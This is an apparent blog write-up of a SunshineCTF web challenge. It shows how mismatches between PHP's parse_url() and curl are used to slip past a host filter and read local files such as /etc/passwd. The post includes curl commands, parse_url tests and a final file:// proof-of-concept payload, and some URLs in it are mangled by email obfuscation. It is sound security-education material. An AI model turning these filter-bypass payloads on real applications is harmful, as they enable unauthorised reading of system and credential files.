Tuesday, April 10, 2018

SunshineCTF - Search Box Writeup

“This search engine doesn’t look very secure. Or well coded. Or competent in any way shape or form. This should be easy.

Note: flag is in /etc/flag.txt


There was an input field in the page enabling us to send a request to any URL we wanted

After some tries I noticed that the only accepted URL was “www.google.com”. Obviously one of the first ideas I had was to try getting files via file:// URI scheme, which was unsuccessful.

Just when I was giving up on the file:// idea, I tried putting together the wrapper and the accepted domain:

"get source failed", oops, so the wrapper actually worked, only it couldn’t find the www.google.com in the directories, meaning we had a host filter, confirmed by requesting…:

PHP’s parse_url() will be used here so we can draw our conclusions after some simple tests:

php > $url = "file://www.google.com"; 
php > var_dump(parse_url($url));
 array(2) { 
	["scheme"]=> string(4) "file" 
	["host"]=> string(14) "www.google.com" 

Considering that our host must always be www.google.com, we must find a way to make a request to an internal file or at least try reaching the localhost.

php > $url = "http://[email protected]"; 
php > var_dump(parse_url($url)); 
array(3) { 
	["scheme"]=> string(4) "http" 
	["host"]=> string(14) "www.google.com" 
	["user"]=> string(9) "" 

In the output above we are passing as user, but the URL will be correctly evaluated even though curl won’t find a matching username:

If the response had “Source code” in it, either we are at and the bypass was successful or we are at www.google.com. To test both situations we can try reaching an internal file that we are sure exists, like index.php in the webroot

Aaaaaand… it failed.

After a quick research and some tests I ran into another bypass in which we inform the [email protected] credentials along with a destination port, with www.google.com still being the host. However curl does not accept the same parameters that parse_url() does, so the parse_url() practically has no security useness in this code:

php > $url = "http://[email protected]:[email protected]/index.php";
php > var_dump(parse_url($url));
array(5) { 
	["scheme"]=> string(4) "http" 
	["host"]=> string(14) "www.google.com" 
	["user"]=> string(14) "[email protected]" 
	["pass"]=> string(2) "80" 
	["path"]=> string(10) "/index.php" 

I also made a local test with some code in /var/www/html/x.php

$ curl -v "http://[email protected]:[email protected]/x.php" 
* Trying 
* Connected to ( port 80 (#0) 
* Server auth using Basic with user 'user' 
> GET /x.php HTTP/1.1 
> Host: 
> Authorization: Basic dXNlcjo= 
> User-Agent: curl/7.47.0 
> Accept: */* 
< HTTP/1.1 200 OK 
< Date: Sat, 07 Apr 2018 00:47:05 GMT 
< Server: Apache/2.4.18 (Ubuntu) 
< Content-Length: 11 
< Content-Type: text/html; charset=UTF-8 
* Connection #0 to host left intact

Then I tried it on the server:

The task told us that we needed to get the flag in /etc/flag.txt but there was no way to use file:// URI scheme because no file was being read. That seemed awkward to me.

I noticed that the end of each requested file a / was being concatenated to the request. I tested it using curl and compared the results:

$ curl -v "file://[email protected]:[email protected]/etc/passwd" 



$ curl -v "file://[email protected]:[email protected]/etc/passwd/"
* Couldn't open file /etc/passwd/ 
* Closing connection -1 
curl: (37) Couldn't open file /etc/passwd/

Then I tried adding a # to delimit the URL and curl accepted it…

$ curl -v "file://[email protected]:[email protected]/etc/passwd#/"

but the application (using burp), didn’t:

So I took a more straightforward approach, using the # URL encoded representation %23 and it worked:

Flag: sun{R3quE5t_tyP3S_m4tT3r}

Final PoC: file://[email protected]:[email protected]//var/www/html/index.php%23

Capture the Flag , Web , Writeup